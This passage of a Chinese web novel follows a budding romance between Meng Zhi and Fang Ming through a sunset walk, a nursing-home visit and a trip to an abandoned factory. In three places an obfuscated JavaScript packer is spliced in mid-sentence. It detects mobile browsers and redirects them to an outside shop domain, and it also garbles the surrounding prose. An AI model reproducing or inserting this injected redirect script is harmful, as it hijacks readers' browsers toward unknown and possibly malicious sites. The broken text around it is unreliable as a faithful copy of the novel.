“还会当男模。” 方铭连续眨眼,把头扭到一边:“净瞎说。” 孟至哼了一声,抬腿往前跑去,方铭立刻追上了她。一路稍显冷清,她怀念地说:“上一次来的时候,到处都是小吃,我和斯基买了一碗糖粥,现调的呢,各种豆子蜜枣咔咔往里加。当时我眼巴巴地盯着人家做糖粥,有个摄影的人还对着我拍了一张。” 方铭看着头顶的树,貌似不经意地说:“一定是你小时候很可爱,就像你那天盯着蛋糕。” 孟至突然觉得自己的脸上要绽开一个笑容,那笑意深深地嵌入脸颊,完全抑制不住,竟让她想要捂住脸。此时夕阳西下,方铭假装转过头来看落日,实际在偷着看她。他也跟着孟至一起笑了。 他拉住孟至的手肘,带她往山外走去:“走,我领你去个地方。” 从北山公园正门起,往西北方向延伸的,是一条绵长的废弃铁轨。 一看见杂草丛生的铁路,孟至就哎了一声,惊喜地跑上前去。方铭在她耳边说:“老线路,彻底不再通车了。” 虽然废弃已久,铁路仍保留至今。铁轨锈迹斑斑,枕木腐烂,两旁的树木将外界隔开,这让铁路上的时间留在了过去。 孟至踩着一根铁轨,双手平伸,像走平衡木一样走着。铁轨通向了夕阳,那轮圆日就像烧到发亮的火红色铁球,几乎已经要变成透明。在这样的时空中,孟至突然觉得自己的心原本是一个蒙着灰尘的玻璃瓶,现在她领悟到要用清水洗净瓶身,放下一些包袱,只是去爱。 方铭突然捉住了孟至的手,专心致志地帮她保持平衡。两人谁都没有松手,一直向前走去,夕阳逐渐下坠,落入了铁轨的尽头。 “可惜没有追上日落。”孟至假装惋惜地摇了摇头,俨然是夸父再世。 方铭走在铁轨之间的枕木上,一边低头看着脚下的石块,一边闷声说道:“如果你下次还愿意跟我出来,我们可以再来这里追日落。”听他的意思,好像追上日落这事不难,主要是看孟至是否乐意赏脸。 孟至一甩头发:“为什么不愿意。”这一个甩头的大动作,让她突然失去平衡,往方铭的身上栽过去。 刚来得及拐着调地叫一声,她的下落就中断了。方铭稳稳地接住了她,同时单纯而好奇地问:“姐姐,你平衡能力不太好呀?那你要少甩头发哎。” 孟至手摁着他的胸脯,站直后立刻退开半步,毫不在意地说:“甩头发怎么了,甩头发不帅气吗?”说着,她把垂到脸边的长发甩回到肩膀后,挑衅地抬头看着他。 他说:“姐姐,你在给我测心跳吗?” 她这才发现自己的手还压在他胸前,急忙收了回来。她没有注意到方铭的心跳是否加速,但她知道方才的手感十分耐人回味。 不等他再说什么,孟至挣脱了他双手的禁锢,迈着豪横的大步,带头走向不远处的热闹街道。她大声告诫方铭:“一会儿晚饭我请,你要是跟我抢,你就废了。” 方铭跟在她身后,不紧不慢地说:“我倒要看看我是怎么废的。” 18. 世界就这么大 孟至和小方隔着一张桌子对峙着。 在他们中央,已经被扫荡一空的盘子凌乱地分布在桌面上,如同一道战壕横亘在两军之间。 孟至双手按住了桌子边缘,似乎马上要站起来向外弹射,冲锋一触即发。方铭立刻一条腿踏在过道上,虽然还坐着,却胜似起跑动作。 两人僵持不下,警惕着对方的动向,同时担心自己的行为将会引起对方的阻拦,进而爆发撕扯和争端。因此两人都不敢贸然出击。 “你要是跟我抢着买单,”孟至重复了一遍宣言,“你就废了。” 方铭还是那句回答:“我倒要看看我是怎么废的。” 趁着有新客人走入这片雅座区域,孟至突然猛烈地起身,灵活地从那几人身边钻过去,不顾一切地跑向结账的吧台。她带起的风吹动了过道两旁的桌布,她觉得自己像史诗电影中的主人公,正在华美的音乐中奔向划时代的未来。 然而,当她冲到吧台前,却发现那里空无一人。 等她再回到桌子旁边时,店员正用扫码器瞄准方铭的手机屏幕。他抬起头来,对孟至挑起眉毛一笑,那样子和平时的孟至很像。 孟至站在原地,瘪着嘴看着他完成支付。方铭无辜地说:“我没想跟你抢啊,姐姐。是店员正好过来给新客人点餐……” 当他们走入街头的晚风时,孟至还在耿耿于怀地说:“你等着,你今晚就废了。” 方铭不动声色地说:“今晚?那就废吧。”他的耳朵变得通红,好在霓虹灯牌发出的光芒是天然的掩护。 两人有一搭无一搭地说着话,走回到北山附近的停车点。方铭十分懂事地问:“姐姐,你真的吃饱了吗?” “当然了,”孟至奇怪地说,“你没吃饱吗?” “不是,我只是担心你很饿。”方铭严肃地说,“刚才你筷子抡起来的时候,我觉得劲风扑面。” 孟至一拳砸到他肩膀上,巨大的反作用力使得她自己后退了一步。方铭双手插在裤兜里,低头甘之如饴地笑了。 在北山的边缘,他们看见一个坐轮椅的老人。她独自坐在那里,望着夜幕下的矮山,让人不知她是怎么来的,也不知她要怎么回去。经过她身边时,孟至问了一句:“奶奶,您在乘凉啊?”这时的夜间气温只有十几度了。 老人闭着眼睛一晃脑袋,就像打了一个激灵:“不是。” 方铭很柔顺地问:“那是出来透气了?” “我在看山呢。”老人用一根手指点着山头,“我到了这儿,就跟去国外一样了。” 孟至和方铭礼貌地微笑着,实际上一头雾水。 老人说:“你比如说,我是个蚂蚁。” 她把自己想象成山脚下的蚂蚁,于是北山这片低矮的山群就越长越高,最终将她掩藏于山谷的最深处。遍布其上的每一棵树都通向星空,每一棵草就是一片森林。她无比渺小,因而北山无限扩大,北山成了珠峰。 她告诉孟至:“其实世界就这么大。” 直到坐进货车里,孟至还在琢磨这句话。狭小而温暖的车内空间令她放松,她昏昏欲睡,一只胳膊拄在车门上,手扶额头,眼睛似睁非睁。方铭轻声说:“姐姐,你要是睡着了,我就只能把你抱回到我家了。” 孟至想着北山下的老人,慢悠悠地朗诵了一句诗:“一花一世界,一叶一菩提。” 方铭笑了出来。货车开上高速,道路两旁只有路灯亮着,原野变成了黑色的背景。他接着孟至的话说:“其实世界就这么大。” “走出去转了一圈,好像见到了花花世界。再回来发现世界还是老家这么大。”孟至降下车窗,让高速上的疾风吹到脸上,“老家足够容纳我的生存了,老家就是世界这么大。” “那你还走吗?”方铭专注地盯着前方的道路,但他又一次问出了同样的问题。 孟至哼哼笑了一下,没有回答。 他又问:“你喜欢什么样的人?” 孟至说:“外星人。” 这天夜里,他们在黑暗的高速上行驶,这辆货车变得自由而疯狂。车停在孟至家楼下时,已经是午夜了,整座城市都在沉睡。在她下车之前,方铭说:“别忘了这周来烧三七。” 孟至回头对他报以璀璨的一瞥,她的嘴角微微勾起,让他目不转睛。他又说:“进家门以后,告诉我一声。” 随后几天,孟至在墓园里按部就班地劳动。青龙给她找了一顶黑色的假发套,这样,如果有客户指定要青龙这边出人主持告别仪式,孟至就可以戴着头套上台充当司仪了。这份报酬就会相应地落在青龙团队的口袋里。也许是在死气沉沉的环境里停留太久,她非常想找几个活人说说话。 水冰月最近业务繁忙,无法抽空出来碰面。于是,在三七这天,孟至一早就在微信上轰炸了方铭。她突发奇想,计划让方铭陪她去养老院送温暖,但又担心会耽误佛香源的营业。方铭却说,佛香源下午再开门也无所谓,反正没有顾客来。 于是,两人约定在孟至的父母家楼下集合,一起取走那台特制轮椅,再将之送到养老院,交给有需要的人。本来方铭要先来接孟至,但她认为那样不够节约时间,于是作出了在她看来最科学的部署。 孟至坐上一辆开往父母家的公交车。从摇晃的车窗里,她看见昔日的工业城市已经年迈,夏季是她唯一的宝藏,而现在夏天也将要过去。平顶楼房之间的烟囱静默不语。一些烟囱被爬山虎爬满,像原始的生命,而另一些刷着红白相间的油漆,状若灯塔。 有一瞬间,她为家乡的陈旧而感到遗憾。但当她拎着轮椅走出父母家、看见方铭停在路边的车时,她又不自觉地哼起了小曲儿。她是哼唱着《大姑娘美大姑娘浪》这首歌拉开车门的。方铭抬起头来,刚听见她的演唱就笑出了声。 很快,坐落在市郊的养老院出现在视野中。方铭停好了车,拎起那一大兜破铜烂铁,和孟至一同走进院子的大门。孟至突然想起了以往她和老孟一起来看姥姥的场景,她意识到这次不会再见到她的姥姥,以后也永远不会。轻快的心情顿时结束了。 两人找到了常来楼长,表示要把轮椅赠送给院区,这让常来大受感动。她两手拉着孟至的一只手,不停地颤悠着握手。颤悠了半天之后,她突然说:“我就说你姥姥那人好,她外孙女和孙女婿也错不了。” 孟至哈哈笑了一声,说:“这是我的小老弟。” 方铭看了孟至一眼,低下头说:“这是我领导。” “哎妈呀,”常来拍着大腿,稀奇地乐了,“你俩挺逗啊,互相还角色扮演呢?哎妈呀太有意思了……” “……”凭借直觉,孟至知道她深深地误解了。但她不想越描越黑,就说:“我们把轮椅组装上。” 这架轮椅外形奇特,好像一个带轱辘的座位前面安了个护栏,其实那护栏连接着下方的压力泵。坐板分为两半,可以向两边分开。先扶着病人坐在床边,令其上半身整个趴在护栏上,接着护理员踩几下气压泵,护栏上升,连带着上面趴着的人也被驮起来。 趁着病人离开床铺,护理员把两半的坐板一左一右垫到病人座下,合成一片座位。然后降下护栏,病人随之落座,成功地从床上转移到轮椅上,不用人抬。坐板中央镂空,类似马桶圈,因此这轮椅可以直接推到马桶上方。 孟至大致看过安装图,很快就拼凑出轮椅的大框。方铭安装剩余的零部件,又精细调整一番。常来对这两个年轻人赞不绝口,而后推着轮椅跃跃欲试,要去找老人做实验。 因为孟至的关系,方铭对常来客气有加,还特意加了个微信。孟至在旁边看得十分想笑,她准备在常来走开后问问小方,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16463082|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想从现在开始就给自己排养老院的床位? 在离开之前,常来对孟至笑了一下:“你姨姥在我们楼,602,有空的话去看看呗。” 孟至这才知道二姨姥已经入住了。也许是因为托了关系,她并没有等太久。孟至只好低声对小方说:“我去看个亲戚,要不你先回吧。” 方铭却说:“我跟你一起,我要送温暖。” 按照常来的指示,两人来到那套一居室的门前,发现房门虚掩着,二姨姥背对着他们坐在床上,正哆哆嗦嗦地自言自语,看起来好像在生闷气。 孟至手里拎着刚才在院区里买的牛奶,亲亲热热地叫了一声:“姨姥,我们来看看你。”听起来,就好像她是特意来看姨姥的。 二姨姥转过头来,哎呀一声,就像见了救星:“你来得正好,我不敢自己在屋里!” 孟至奇怪地说:“这走廊里来来往往都是人呀,左邻右舍也都住满了,有什么好害怕的?” “你怎么跟你姐说话一样?”二姨姥气愤地说,“我不喜欢这地方!你姥姥就是在这儿没的……”她抹着眼睛大哭起来,姐啊姐啊地叫着。 孟至把两箱牛奶放进冰箱,脑袋嗡嗡乱响。她明白二姨姥的伤心之处,但同时也非常后悔让方铭陪自己来这里,无端给他增添了不少精神污染。 方铭同情地注视着二姨姥,出声安慰道:“姨姥,等你跟楼里的邻居熟悉了,就有人陪你了。” 二姨姥止住了哭声,睁着患有白内障的眼睛,费力地打量着方铭。她很久没被人安慰过了,这下可把她稀罕坏了。她拍打着身边的床铺说:“孩子,快坐这儿来,你是新来的护工吗?”听到方铭再添一兼职,孟至哈地笑了出来。 “不是的,姨姥,”方铭掏出手机,“不过以后有什么事可以叫我,咱们加一下微信吧。” 孟至抱起手臂,在旁边看得啧啧称奇。她替方铭说:“换锁,拆家具,垃圾回收,算命什么的,都可以找他……” 在这友好的交流时刻,隔壁突然传来凄厉的尖叫声。 一开始,孟至吓了一跳,还以为是这层楼发生了命案。很快,她发现叫声来自隔壁的隔壁,那套房间里独居的老人在撕心裂肺地惨叫着:“谁来啊——谁来啊——” 二姨姥唉声叹气地说:“那家糊涂了,总说没人来看她。” 孟至觉得那喊声让人心惊胆战。她简单地和二姨姥寒暄一番,就拉着方铭匆匆离开。两人跑到洒满阳光的院子里,假山和喷泉闪动着洁净的光,那个让人不快的环境被抛在了后面。但仍然会有人在那层楼里承接着那种不快的感受。 方铭就像看出了孟至的想法,他低声说:“其实能住进这样的养老院已经比很多人好了。” “你说得对,许多老人没有钱养老。”孟至单手捏着下巴,严峻地看着二号楼,“我在思考认知和现实的时差。如果一个人参加工作后就给父母投年金险,那么十年后就可以领钱养老了。而现实是大多数人不会买保险,十年后对着财政赤字发愁。在老龄化城市,这是应该考虑的问题。” 方铭说:“那就要靠你去给他们设计一个买得起的方案了,姐姐。” 两人回到车上,向佛香源驶去。他们有一个漫长的白天用来消磨,然后傍晚去烧三七。只是傍晚时下起了雨,这次他们打着一把大伞,在铜盆里烧完了纸钱。在一晃而过的车灯里,在路灯散发的光晕里,细乱雨丝如冰屑般飞落。也许是因为今天看到了许多老人,孟至突然说:“我不想长皱纹,但如果是陪着我喜欢的人一起长,我就愿意了。” 方铭紧紧盯着她,用沙哑的声音问:“你喜欢什么样的?” 孟至站起身来,轻松地说:“我喜欢外星人。” 方铭跟在她身后,点着头说:“好,好,到底也没告诉我喜欢什么样的。” 19. 旋转 随着三七的结束,所有仪式终于告一段落。孟至回了一趟珠三角,去老东家办理离职手续,将行李细软打包邮回老家,最后退掉了租住的房子。 在珠三角停留的十天里,她重新找吉他老师上了几节课,每天和大学好友欢聚畅饮,还探望了几位本科老师和学哥学姐。某些夜晚,她坐在南方露天的桌椅边,喝着一杯果茶,久久沉浸在令人惬意的夜色里。周围灯火通明,行人如织,她回忆着在这里的生活,也怀念着赚得盆满钵满的过去。温暖的气候像一个巨大的童话,让此地得以演变出梦幻而繁华的布景。 她好像又回到了过去的日子里。她不得不承认,这一趟故地重游让她的心松动了。原本被封存的野心和玩心,就像初春时的冰河,悄悄开裂和动荡起来。 等她从南方回来,老家已经是纯正的秋天了。温和的阳光远远地落下来,落到城市中时,已经不再灼热。以灰色和褐色为主色调的街头,呈现出从容的秋意。孟至一到家,就打了几个喷嚏,风已经是冷飕飕的了。 接着,手机弹出了新消息。真相大白,原来是方铭在念叨她,才导致了她的一系列喷嚏。 小方-开锁回收旧家具:“最近怎么不找我说话了,姐姐。” 孟至回复道:“去南方办事了,今天才回来。” 罕见地,方铭没有追问她去南方做什么,而是直截了当地问:“想去废弃工厂吗?” 孟至立刻说:“想。” “那你休息一下,明天见。”方铭叮嘱道,“记得带上身份证。” 第二天一早,孟至一手拿着冲锋衣,一手捏着身份证,从门前的台阶上俯冲下来。这一次,方铭轻手利脚地站在公寓楼下等她,他没有开车来。见到孟至,他淡淡地笑了一下,说:“你这些天在外地很开心吧,脸颊都变圆了。” 孟至伸手摁了一下脸颊,发现果然肉变厚了。方铭的视线胶着在她脸上,缓缓地说:“走吧,去坐高铁。” “这次走得远呀?”孟至兴奋地问,“是去哪里的老工厂,Y市吗?” 两人并肩走向地铁站,般配的身形引来路人的一瞥。方铭用和煦的目光看着她,说:“以前Y市铁路西边确实有很多废弃工厂,不过现在都改造成创意园区了。我们这次去另一个地方。” 孟至立刻抓着他的背包带子说:“去哪?去哪?快告诉我,要不然你就废了。” 方铭说:“暂时保密。”他拿过孟至手里的身份证,用手机订了高铁票。孟至伸手说:“你的身份证也给我,回程的票我买。” 她只拿到了自己的身份证。方铭面无表情地迈动着长腿,疏离地说:“不用了,我订好了。你还是那么客气,姐姐。” 孟至只好说:“那今天的伙食我包了,别跟我抢,要不然……” “我已经废了。” 直到下了火车,孟至才知道自己来到一座海滨城市。他们到达时正是正午,孟至脚踏着一片不真实的王国,街道的尽头就是闪耀的海面。这是东北的海,红色的百年建筑坐落在蔚蓝的海边。她几乎闻到了迎面而来的海风的味道,似乎海面上每一只飞鸥的振翅所带起的风,都能扬起她心里的帆,她想了半天,终于想出一句诗词来形容,她觉得自己心里百舸争流。 但海边不是他们此行的目的地。午饭之后,方铭在当地租了一辆车,载着孟至在滨海公路上飞驰。开到一处完全陌生的地带时,车停了。方铭转过头来看着她,轻声说:“就不怕我把你骗到没人的地方啊?” 孟至笑嘻嘻地说:“不会的,小方是面的。” 车里静静的,只能听得见方铭的呼吸声。孟至挑了一下眉毛,率先推开车门跳了出去。眼前是一座废弃工厂,几栋小楼立在大风里,所有窗户都已经没有玻璃,就像一排排空洞的眼。从一个个空缺里,孟至看见工厂内部的每一层都是废墟。一时间,孟至竟不知该如何走进这片末日乐园。 方铭把一只手轻轻搭在她肩头,带着她走进空无一人的厂房。也许是因为楼内衰败而混乱,孟至的心里突然泛起了一丝波澜,好像他的体温是这片废土上唯一的一笔暖色。不知怎地,她没有拂去方铭的手,反而抱着膀子向他靠拢过来。 天花上的大块吊顶都已经脱落,与棚顶藕断丝连,就像一片一片巨大的纸页垂了下来。脚下都是碎裂的玻璃和板材,两人必须小心地绕开这些垃圾。孟至向楼梯一扬下巴:“上去看看。”方铭闷头奔上来几步,在孟至之前上了台阶,又微微侧过脸来对身后的孟至说:“你可以抓着我的背包。” 楼梯完全没有扶手,孟至紧贴着墙面,一级一级上着台阶,突然想起和水冰月相遇的晚上,两人紧贴着人行道的护栏移动。但现在她并不感觉害怕,方铭就在她前面,像一块硕大的座椅靠背一样令人安心。 第二层楼同样是战损状态,孟至简直怀疑这里实际是军事演习基地。两人爬向第三楼,方铭忽然问道:“南方好玩吗?” 孟至想了一下,懒洋洋地说:“挺好玩的,比较热闹。” 他又问:“你见了很多人?” “是啊,总算有人聊天了,我回来这么久都要憋死了,”孟至皱着脸说,“我在墓园,每天都和不说话的人打交道,你懂的。” 方铭低声说:“他们要是突然说话也挺吓人。” 踏上最后一级台阶,孟至刚想悄悄吓唬小方,就先自己被这层楼吓了一跳。面前摆放着数尊高大的白瓷佛像,每尊佛像身披红色斗篷,脚下供奉着饮料和苹果。灰暗废墟内的破败,衬托出佛像天团的体面,怪异的混搭脱离了世俗的认知,让人汗毛竖起。 孟至嘶了一声,头皮发麻,却又十分过瘾。方铭转头打量着她的表情,郑重其事地说:“一定是有人来这里定期参拜,贡品都是新鲜的。你觉得是什么人会秘密在这里拜佛?” “恩,看起来是的,”孟至点了点头,“我们就不偷这些贡品了,让它们继续摆着吧。” “……”方铭似乎终于发现孟至少了一根筋,她从来不知道什么叫紧张和害怕。他突然胆怯地握住孟至的手臂,俯身在她耳边说:“姐姐,这里好可怕啊。” 孟至在他坚硬的大手上拍了拍,安慰地说:“没事的,哪怕这些佛像都活了又能咋的?你这么个大个子,还打不过他们吗?” 方铭直起身来,被噎得久久说不出话。孟至在佛像之间走来走去,又将视线投到窗洞之外的公路上,若有所思地说:“你说,这些佛像会不会趁没人的时候在楼里玩?” “会吧,”方铭抱起手臂,嘴角泛起无奈的微笑,“会在窗户上拴一个秋千。荡出去——就飞到室外,可以晒太阳。荡回来——就回到室内,可以顺手捞一个贡果。” “秋千好啊!”孟至双眼发亮,被方铭提出的破窗秋千方案深深吸引了,“我小时候,我姥姥姥爷偶尔不打架的时候,会一人拎着被子的两个角,把我放在上面,悠来悠去。你玩过没有?” 方铭轻轻伸出两只手。一只手环住孟至的腰,另一只手抵住她的膝盖窝向上托起。孟至被打横抱了起来,突如其来的失重感让她不自觉地抱住了他的脖子。她抬起头看向他的眼睛,发现他正紧盯着自己。再往前探一下脖子,她的鼻尖就能擦上他的下巴。 温热的怀抱充满力量感, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472238|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令孟至陌生,令孟至不知所措。从记事开始,很少有人抱她,刘校长不会抱她,姥姥姥爷抱不动她。方铭的眼中燃烧着火,孟至突然有种错觉,这座废墟就是被他眼里的火给炸成这样的。 孟至直愣愣地问:“干什么?” 方铭说:“抓紧。” 接着,他抱着孟至原地打转,一圈又一圈,既像打秋千,又像加速的旋转木马。周围旋转不息,孟至把脸埋在他的肩上,欢呼一声,大笑起来。清脆的笑声就像一些明亮的音符,飘落在废墟和佛像上。一直到孟至说自己头晕,方铭才小心地把她放下来。 两人靠着墙根坐着,孟至觉得四面墙还在转,整个人悬浮不定。她问:“我们背后的墙是不是也要裂了?是不是在动?” 方铭哑然失笑:“也可能是我们自己要裂了呢。” 他拿过背包,掏出一台笔记本电脑,掀开上盖,熟练地点开软件。孟至把头凑过来看着,看出那是CAD软件puter-AidedDesign,用来设计图纸,屏幕上两条横平竖直的线相交成十字,交点处是一个空心小圆圈。随着鼠标的移动,十字如同画笔,画出各种几何图形。 方铭画出一条条线段,又将其中一些连接起来,再画出圆形。而后使用复制指令,炮制出一模一样的图形组。他不停调整着图形,创作着抽象几何画作。孟至知道室内施工设计师也会用CAD画图,于是她开始怀疑方师傅又要多一个职业分身了。 再回过神来,方铭已经画好了一幅完全由直线和圆形组成的简笔画。门字形架子下面吊着两个秋千,两个圆脑袋、方形身子、细胳膊细腿的火柴人并排坐在秋千上。方铭说:“看好了。” 他选中两个小人和两个秋千,鼠标来回拖动,那两个小人就荡起了秋千。孟至两手一拍,笑眯眯地问:“可以让他们绕着横杆旋转吗?” “你好狠啊。”方铭半真半假地说着,果然变换指令,那两个小人绕着秋千架的横杆疯狂做离心运动,孟至大笑起来。满地都是玻璃和家具的碎片,一群佛像静静地俯视着这两个年轻人,而他们专注地俯视着电脑屏幕。孟至还在喋喋不休,小方则微笑着看着她。 直到斜阳晚照,他们才走出厂房,匆匆吃了晚饭,乘坐高铁回到了C市。把孟至送回到公寓楼下时,方铭忽然伸手挡住了即将关上的防盗门。 孟至回头一看,方铭尾随着她走进楼里。沉重的铁门在他身后合拢,声控灯没有亮起,黑暗包裹了两人。方铭双手握住她的两肩,他闪亮的眼睛慢慢靠近过来,由此孟至推断出他整个人都在靠近。她的腿脚发软,向后一个趔趄,方铭干脆拥着她靠在墙上,用自己的手臂垫在她身后。 眨了几次眼后,孟至适应了黑暗,又能看清他的脸了。他的脸近在咫尺,呼出的热气喷洒在她身上。他低声问:“今天开心吗?” 孟至靠着他的手臂,并不觉得墙壁冰冷,相反地,她觉得浑身流过了暖流。但方铭的体温比她热得多。 方铭凑得更近了:“你愿不愿意留下?” “我不知道呀。”孟至又有一种喝多了的眩晕感,也许是因为缺氧。方铭的表情还是冷冷清清的,但他的眉毛压迫性地降低了,眼睛里的光逐渐熄灭下去。他问:“你愿不愿意留下来,跟我?” 孟至张了张嘴,头昏脑胀地说:“我们互相还不了解。”她想听听小方如何讲述自己的生平,又担心自己会去南方。两种巨大的力量互相矛盾,她觉得自己也被绑在离心机上甩着。 方铭突然松开了她,失魂落魄地后退了一步。他把头转到一边,看着幽暗的角落说:“上去吧。” 20. 入室抢劫的相亲 带完今天的流程,孟至在墓园的九曲长廊里吃了一顿早午餐。迎着冷风,她大口咬着三明治,单手给方铭发了条微信:“忙啥呢小方?” 自从那天晚上方铭落寞离场后,他一连几天都在躲避孟至。这一次孟至发出的消息仍旧石沉大海。 她点开方铭的微信名片,希望能发现蛛丝马迹。但除了她备注的“小方-开锁回收旧家具”以外,画面上没有任何值得注意的痕迹。他还是用本名作为微信名,黑白漫画作为头像,微信号码是LightTravel。 孟至转而给斯基打了视频,她们合计了半天,分析出各式各样的可能。斯基认为,孟至最后的那句回答在小方听来是一种委婉的拒绝,让他再回首猛然发现自己成了小丑,或许还为自己的零工身份而自卑,所以销声匿迹。而孟至则说,大概是小方意识到她漂泊无定,担心她有一天会跟别人跑到南方打工,所以内心防线垮塌,行动还没有开始就已经退却。 斯基立刻抓着她的破绽追问道:“你觉得他怕你跟人跑了?所以,其实你已经把他当成了发展对象?” 孟至竟回答不上来。她烦躁地拢了一把头发,说:“我每天都在琢磨下一步怎么赚钱,没想过太多别的事。” “那你也没赚到钱啊。” “我一定要做点不一样的。”孟至坚定地说,“我现在还没有最终决定,但我已经知道,我要做的和以前不同。” 斯基尽职尽责地说:“孟姐,你扯远了,现在说你的方师傅呢。” “哦,这个好办。”孟至挥了挥手,“我直接问他。” “啥?”斯基难以置信地说,“这么直接?那你还找我商量?” 孟至谄媚地笑着说:“这不是知道你想我了吗?我允许你觐见我。” “滚。找你的小方去吧。” 放下电话之后,孟至又沉浸地微笑了一会儿。然后,她落回现实,笑容逐渐消失了。她沉静地盯着方铭的聊天界面看了一会儿,发出了一条信息:“我好像已经对你有了一点好感,但我也不知道自己会不会一直留在老家。”她还想说自己的生活里不止有恋爱,还有全部的自我,但她最终没有说。她不喜欢发太长的段落。 也就是发出这一句之后,孟至终于厘清了自己的心。她发现当她回忆起这些天的生活,除了墓园的寒气和燃烧的纸钱以外,与小方相处的时刻是仅有的温暖片段。那种温暖润物无声,以至于她几乎没有认真地感受过它的存在。 但一连几天过去,方铭都没有再回复她。孟至知道,这只能是她发出的唯一一次求证,是初次也是最后一次。以往的经验中,永远是其他男生追逐着孟至,孟至从来不知道被人晾在一边是这种感觉。但随即她又想到,似乎是自己先把方铭晾在一边,而他是一个高自尊的人。她的团队长曾对她说,不要轻易和任何人闹掰,人情留一线,下次好见面。因此她不准备删除方铭,只是隐藏了方铭的对话框。他们从此互不联络。 按部就班地去墓园工作,生活重新寂静下来。某一天,当她走在街上时,全城上空响起了九一八的防空警报声。在澄澈的蓝天下,汽笛鸣响持续不断,久久盘旋。这时她恰好经过一条林荫路,林荫路的西侧是马路,而东侧是一片树林。一只松鼠蹦跳着穿过草丛,隐入了茂盛的树木之间。黑土地辽阔得可以听见过去的回声。 孟至想起老孟曾给她讲过一个传闻轶事,相传C市电影厂当年拍电影时就地取材,抓了一只松鼠当配角。老孟还说松鼠这玩意气性大,如果它发现自己藏的松果被人偷了,就会气得吊死在树上,十分刚烈。她习惯性地摸出手机,想把这事告诉方铭,接着才想起他们断联了。 幸好她想到了水冰月,心中多少感到安慰。她把这笑话发给了水冰月。但掌管着两家店的水冰月每天非常忙碌,所以孟至加了一句:“先忙你的,有空再看着玩。” 当她收起手机,乘坐地铁站的扶梯徐徐下降时,她注意到旁边的上行电梯上站着一个人。那人一手举着口琴,正轻轻吹奏着。他的曲子刚一吹出来,就被风声和车声稀释了,从飘落的旋律中,孟至听出那是一首苏联风格的歌曲。没有人知道他为什么边走边吹口琴,事实上这条路上几乎没人注意到他。她突然想起了自己的吉他,上一次在珠三角弹吉他仿佛已经是上个世纪的事了。 回到家里,孟至找出了吉他,稍微调了调音,就试着弹起来。她弹的是《Memories》,这首歌的谱子她始终没有记熟,所以她弹得断断续续。 “我一度不知何为痛苦, 那时我相信永远, 相信所有事情都不会改变。 现在当我听到你的名字, 我的心就像十二月的冬天, 因为我无法自如地呼唤你,但我知道总有一天会实现。” 在心里,她唱出了歌词。 一遍遍的弹奏让她感受到脱离老师指导后的力不从心,但她又无比痴迷其中。她有许多身份,只有这一刻她是自己,这一刻生活五彩斑斓。就像舞蹈家登台,政治家执政,飞行员驾驶战斗机腾空翻滚,她在弹吉他时找到自己。 一个突如其来的电话打断了孟至那甜蜜而忧伤的心情。她不太情愿地放下吉他,捡起地毯上的手机,竟然是二姨姥的视频来电。 孟至清了一下嗓子,曲意逢迎地接通了视频:“姨姥呀,好久不见了,我都想你啦。”她提心吊胆,生怕二姨姥张嘴讲述表姐把她送进养老院是多么不孝。 令人惊奇的是,这次二姨姥没有怨天怨地,反而满脸都是浓浓的笑意。她像报喜一样大声对孟至说:“小至呀,我给你找到对象啦!” “?” 二姨姥发出一阵疯狂的笑声,对自己仍旧在发光发热的状态十分满意:“姨姥进了养老院呀,也没闲着!你别看这里都是些老东西,但是偶尔也有年轻人呢!” 孟至十分头痛,她猜测是谁家的孙子去看老人,被二姨姥当场拦截下来了。二姨姥的老年机里存有孟至的一张照片,她总是喜欢拿给适龄青年看。但那是孟至当年去考雅思时,在考场现场拍摄的照片,打印在黑白准考证上,墨水浓郁油润,使得面庞凶相毕露。这照片又被老年机拍下来,看起来像少年犯的大头照。 她尽量和颜悦色地说:“姨姥,我现在真的还不想谈恋爱,我得先找工作呀。” “这又不耽误!整好了,让他给你介绍工作!”二姨姥统筹帷幄,言辞坚决,“我和你姐都觉得这孩子配得上你,这孩子来给我们当义工,给我修凳子,念报纸……我看他长得可眼熟,好像是电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479276|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视上的哪个明星!” “姨姥,哪个明星能来给你修凳子呀。”孟至生无可恋地躺在了地上,“再说你老人家不是白内障吗,看谁都长得一样……” “那咋能呢,我跟你说啊,我们楼长常来也觉得这孩子好,还劝我把他介绍给你呢!”二姨姥像一个博物馆讲解员,在讲述一件珍宝,“这孩子比你大一岁,人家是科学家!” 孟至高高地挑起眉毛:“二十六的科学家?”莫非是天才神童?14岁学会微积分的那种? “那可不,”二姨姥说得有鼻子有眼,“人家考上C市光机所的博士了,那以后就是科学家了。” “呵呵,”孟至干笑着说,“那他肯定留在C市了,我说不定还要——” 